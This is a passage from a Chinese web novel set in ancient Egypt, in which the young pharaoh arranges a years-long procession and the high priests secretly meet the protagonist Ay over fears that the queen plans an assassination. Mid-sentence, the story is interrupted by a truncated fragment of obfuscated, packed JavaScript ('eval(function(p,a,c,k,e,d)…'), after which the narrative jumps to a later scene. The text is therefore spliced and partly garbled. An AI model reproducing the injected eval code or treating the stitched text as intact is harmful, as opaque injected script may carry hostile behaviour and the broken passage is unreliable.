没有神殿的反对,流程就极为顺畅了,随行武将立刻敲定下来,确定为米维尔。 米维尔撇撇嘴,不太乐意地嘀咕:“大男人还要奶孩子,说出去真丢人。” 他的声音不大,但也不小,足够让大殿里前排的人听清楚。 “噗嗤”在他下首的几个人忍不住笑出声,被米维尔狠狠瞪了眼才将将收住。 “祭司陛下有想法吗?”梅丽特问旁边的拉赫里斯。 她向来独断,突然询问拉赫里斯的意见,实在是诡异且不符合常态。 拉赫里斯却像是没有看出她的异常,思考了下说:“我本意想带我的先知出行,不过达曼胡尔祭司需要坐镇底比斯,泰伊祭司年事已高,恐不能长途跋涉,不若就赫姆恩祭司和阿伊祭司吧。” 大殿众人神色各异。 阿伊?不就是那个从梅丽特王后的宫殿出来的那个奴隶? 法老竟然会主动要求带王后的人...... “阿伊年纪也挺小。”梅丽特一顿,弯钩般的浓眉似是兴味地挑起。 拉赫里斯笑了笑说:“阿伊年纪与我相差不大,路上还能多个说话解闷的人,王后若是觉得不合适,换个差不多年纪的也行。” 梅丽特唔了一声,最后无奈般拍拍他的肩:“如此,那就这么安排吧。” “多谢祖母成全。”拉赫里斯借着起身行礼的动作,避开了对方的手。 梅丽特自然地收回手,全然不在意他的小动作:“巡游事多,陛下先回去准备吧。” 语气随意地像是打发一只没了兴趣的小狗。 “好的。”拉赫里斯点点头,径直离开太阳神殿。 早在进来以前他就很清楚,今天他也不过是这宫殿的过客,不会长久停留。 托德见他出来,连忙用巾子抹了把汗湿的脸,小跑迎上来。 “陛下,”他回头看了眼重新关上大门的宫殿,“怎么说,王后为难你了吗?” 拉赫里斯垂眼,唇角扬起一抹弧度:“同意了,安排了米维尔将军随行。” “米维尔?”托德小脸一垮,“这跟带了个巴乌在身边有什么区别,还有其他人吗?” “阿伊。”拉赫里斯脸上的笑容更明显了。 托德啊了一声:“阿伊大人??” 他有些不理解:“为啥带阿伊大人啊?王后安排的吗?” “不是,我提出的,”拉赫里斯微微一笑,“因为他不想去。” 这也是他对阿伊摆自己一道的回报。 “他不想去干嘛还要带他去?”托德完全想不通自家陛下的脑回路,“留他在底比斯,对咱们来说不也有个照应吗?” 拉赫里斯瞥他一眼,没说话。 若是让这个人留在这里,他相信五年后回来,底比斯大概会出现另一个梅丽特,这是他不想看到的。 麦涅乌宫殿。 伯伊正在睡午觉,却被外面的动静吵醒了。 “怎么了?”他询问候在门口的巴特。 不用他说,巴特已经支着脖子在看了。 半晌他回头对着门扉说:“阿伊大人,传令官说法老安排您随行巡游,后日就要出行,令你尽快准备。” 伯伊是被吵醒的,本来还有些困倦,闻言登时清醒了。 “法老去巡游?”他问,“这是什么意思?” “神殿说想要陛下巡游,陛下同意了,”巴特想了想,考虑到阿伊的身份不一定知道,于是多解释了一句,“巡游就是抬着神像从底比斯前往孟斐斯,再折回来。” “这得去多久?”伯伊有种不好的预感,按照这个时代的交通速度…… 巴特挠挠头,不太确定地说:“少说三五年?” 他嘿嘿笑道,“上次法老亲自巡游还是在上次,就是我没出生,不太清楚。” 伯伊两眼一黑:“然后陛下点了我?” “对。”巴特十分确定。 伯伊:“………” 他直接就笑了,好好好。 15.筹码 夜深人静,晚风撩动纱帘。 轻巧的脚步声逐渐靠近,最后停留在榻边,伯伊闭着眼,直到那人伸手来推搡时,他倏地睁开眼,哑着声音问:“谁?” “是我,”巴尔的声音压得很低,像是不想被其他人听到,“大祭司想见您。” 伯伊闭了闭眼,掩住眼底的清明,略显疲惫地说:“好,等我换衣。” 他简单收拾了下自己,出门的时候注意到偏房的其余几人都睡得格外的沉。 两人趁着夜色,前往神殿。 本该是休息的时间,神殿却是灯火通明,偌大的宫殿被烛火照得十分明亮,众多祭司在其中穿行。 伯伊跟着巴尔绕路,避开人群走进诺菲斯大祭司所在的宫殿。 和上次来不同,这次大祭司的宫殿里坐满了人,乍看也有十一二个。 除了坐在首座的诺菲斯大祭司,伯伊也就只认识两个,泰伊祭司和阿克里斯祭司。 这些人似乎正在争论什么,完全没有注意到站在门口的伯伊。 “咚咚咚——”巴尔敲了敲门以作提示。 离门比较近的阿克里斯闻声回头,看到两人,立刻站起身:“阿伊。” 宫殿里的吵吵嚷嚷倏地一静,所有人都齐齐回头看过来。 伯伊不动声色地环视一圈,然后看向首座的诺菲斯:“大祭司深夜寻我来是有什么要紧的事情吗?” 这个时候还在加班,还得是你,连锁企业。 诺菲斯微微抬起眼皮,深陷的眼窝下鹰眼锐利,对着自己下首的位置抬了抬下巴:“先坐吧。” 伯伊看了眼在场的人,众人面色各异,视线落在他的身上,但又会在对视以前迅速转开。 他走到诺菲斯说的位置坐下。 说实话,这个位置有点烫,不是物理温度,而是其余人的焦灼视线。 诺菲斯作为神殿的话事人,能坐在他身边的无不是左右手这样的存在,如今让一个奴隶坐了,还是一个从梅丽特王后的后宫出来的奴隶。 这怎么能不叫人多思虑几分。 “既然阿伊来了,那我们就进入正题吧。”泰伊出声说道。 许是这以前就已经提过,哪怕不时有目光在打量阿伊,但却不曾有人质疑他坐这个位置的合理性。 阿克里斯躬身行礼,直起身说:“陛下这次巡游虽然并非我等初心,但事已至此,还请各位务必照顾好陛下的生活起居。” 伯伊顿了下明白过来,在场的是这次将要和拉赫里斯一起出巡的祭司,不出意外就是神殿一开始想要成立的祭司团核心人员。 “出巡期间,以陛下的安危为第一要义,”阿克里斯环顾众人,加重了语气,“若是陛下遭遇了不测,那我等便是整个埃及的罪人,万万死不能辞,死后必定永生为阿克胡的奴隶。” 阿克里斯的每一个字都掷地有声,回荡在宫殿中。 所有人身板笔直,神情肃穆地注视着上首的诸位大祭司,激荡的心情无声在四下游走。 “各位祭司都是我神殿的骨干,能力出众,想必是会照料好陛下,”达曼胡尔大祭司沉声说道,“但我比较担心的是王后。” 他的话像是给本就焦灼的氛围又添了一把柴火,以泰伊为首的几位大祭司都露出了同样的担忧。 “陛下这次锋芒太露,”泰伊长叹一口气,“王后只怕已经存了杀心。” 用平民让王后妥协的这件事他本是不答应的,觉得太过冒险,但神殿如今迫切需要一个破局的机会,所以百般权衡他还是同意了。 只是同意的前提是在法老始终住在诸神殿,住在底比斯。 在这里有最虔诚的信徒,王后心存顾忌,不敢对法老做什么。 “陛下出巡路途遥远,时间漫长,可能遇到的危险太多了。”本就深刻的川字纹更是加重了几分。 如今的情形完全就是被梅丽特架在了火上烤,左右都是为难。 “她怎么敢?”一位年纪略轻的祭司拔高声音,气愤填膺,“这可是弑神,她怎么敢的。” 法老哪怕如今式微,那也是埃及的神,若是有人对自己信仰的神明下手,整个埃及都将为之震动。 “卡米诺丝,你年纪小,许多事情不清楚,”阿克里斯沉重地摇了摇头,“上届法老的死与王后便脱不开关系。” 被叫做卡米诺丝的小祭司蓦地瞪大了眼。 七年前,努比亚进犯边境,上届法老出征,接连大捷,如战神塞特附体,然而就在其名声大噪之际,突然遭遇埋伏,最终暴死,他一直以为这真是一场意外,不止是他,整个埃及都是这样想的。 “大祭司,您的意思是王后杀了……”他不敢想象,到底是如何胆大歹毒的女人才敢做出这样的事情,“那可是她的亲子!” “这事儿尚且没有定论,不可胡说,”达曼胡尔喝止两人之间的交谈,对着在场年轻一辈的小祭司说:“莫要传谣。” 稍顿,“确实有诸多疑点指向王后,这件事无需纠结,当下最重要的还是陛下。” 众人惶惶然,王后本就势大,若真是要对陛下下手…… “这趟行程需得好几年,我们如何防得住……”卡米诺丝提出疑虑,“难怪王后这么爽快答应了。” “是啊,”另一个祭司也是忧心忡忡,“就一个米维尔将军就能把我们拿下了。” “不一定,”沉默许久的泰伊出声,接过小祭司的话茬,“诺登家族是阿蒙神的绝对拥趸,更何况,米维尔是王后的人,王后不会把这么明显的把柄递到我们面前。” 诺登正是塞贝克的家族,作为塞贝克的儿子,米维尔哪怕对陛下平日多有不敬,但真对陛下做什么,他是不敢也不会的。 虽说一开始他也被米维尔的言行遮住了眼,没想通这一点。 “可能动手的机会太多了……”卡米诺丝愁容满面,想破了头也想不到如何破局。 别说是他,整个神殿的氛围都是一片惨淡。 “阿伊,你怎么看?”诺菲斯突然出声,众人这才想起来从进来就一直没有说话的伯伊。 伯伊正听得认真,没想自己会被点名,微怔片刻,眉头轻蹙缓缓说道:“确实,只有千日做贼,哪有千日防贼的道理。” 众人先是一愣,随即忍不住暗暗点头,好一句千日防贼,他们如今可不就是准备千日防贼嘛! 伯伊想了想:“如果我们能知道王后什么时候动手,在什么地方动手就好了。” 卡米诺丝嗤笑一声:“你这不是废话吗?我们要是知道这些,那还需要愁什么。” “是啊,”阿克里斯无奈地耸耸肩,“难不成你能拿到这些消息?” 他这话一出,众人倏地就把期待视线落在了伯伊身上,是啊,这个人可不就是梅丽特王后身边的人嘛! 伯伊礼貌而不失优雅地微笑:“王后若是这般蠢笨,想必也不会成为神殿的对手。” 众人齐齐叹气,确实,是他们想当然了。 这可是刺杀法老,天大的把柄,若是阿伊能拿到这样的消息,拥有这般厚重的信任,也不至于还需要投靠神殿搏前程了。 “你刚刚说我们如果能知道王后什么时候动手,在什么地方动手……”达曼胡尔出声打断众人的讨论声,眼底掠过一抹深思。 伯伊啊了一声,似是没懂他为什么要重复自己的话,但还是点了点头:“是啊,这样我们就能有所防备了。” 想到什么,他忍不住笑了下,本就长得好看,笑起来带着少年特有的朝气,好看得吸引了不少人的目光,偷摸着看过来。 “你笑什么?”泰伊问。 伯伊不好意思地抿唇:“我就是突然想到,王后要是能在我们出发前动手就好了,上次和陛下出宫,遇到了许多虔诚的信徒,若是他们知道王后要对陛下出手,必定会帮助陛下的。” “愚蠢,”阿克里斯轻嗤,目光鄙夷,像是再多和他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这一招绝了!”阿克里斯绕了半天总算是绕明白了,忍不住拍手叫绝,“泰伊祭司实在是太厉害了。” 泰伊脸上的喜色微敛,叹了口气说:“纯属侥幸,我不过是在阿伊和你们说话时得到的灵感。” “我看那小子也不过是个蠢人,”说到这人,阿克里斯不屑地撇撇嘴,不懂大祭司们为什么这般器重这个奴隶,“提出来的主意一个比一个没用。” 诺菲斯撩起眼皮,沉默地看了他一眼。 泰伊隐隐意识到些什么。 阿克里斯见他们不说话便没有继续自己的话题,另起了个话头:“爷爷,那这次巡游你们准备让谁来做这个大祭司?” 诺菲斯没有说话,只是又阖上了眼。 泰伊欲言又止。 直到阿克里斯离开,泰伊才将心里的话说出口:“大祭司,您为什么不告诉他?” 按照他们预想的,这次巡游的大祭司是阿克里斯,阿克里斯作为诺菲斯的孙子,不出意外将来会接手大祭司的位置,这次是他在神殿树立威信最好的机会。 而且让他带领对神殿意义重大的祭司团,对他们来说也是最放心的。 诺菲斯无声地叹了口气,声音略略低沉:“他还是太过稚嫩,不堪大用。” 达曼胡尔一愣:“您是准备换人?” 诺菲斯看向窗外,祭司们还没有完全散去,三三两两地站在花园里,倒是那个看似稚嫩的少年已然不见,走的比谁都快,似乎并不关心神殿最终的抉择。 他沉默良久,说:“换成阿伊。” 达曼胡尔和泰伊惊讶地对视一眼,达曼胡尔知道不该质疑大祭司的决定,但还是忍不住问道:“阿伊真的可信吗?” 对方确实说要投靠他们,给的理由也合情合理,但这人毕竟是梅丽特那边的人,如何叫人毫无负担地信任他。 诺菲斯看向他,眸色深沉:“不可信。” “那您……”达曼胡尔有点搞不懂了。 诺菲斯苍老的手在权杖上摩挲,他做了五十年的最高大祭司,这柄权杖也跟了他五十年,他甚至不需要眼睛去看就能清楚地说出上面每一条纹路的走向,对应着的是他做过的每一个决策。 “给出满意的筹码,他就会是可信之人。”他说。 目前这个筹码就是——大祭司这个职位和权力。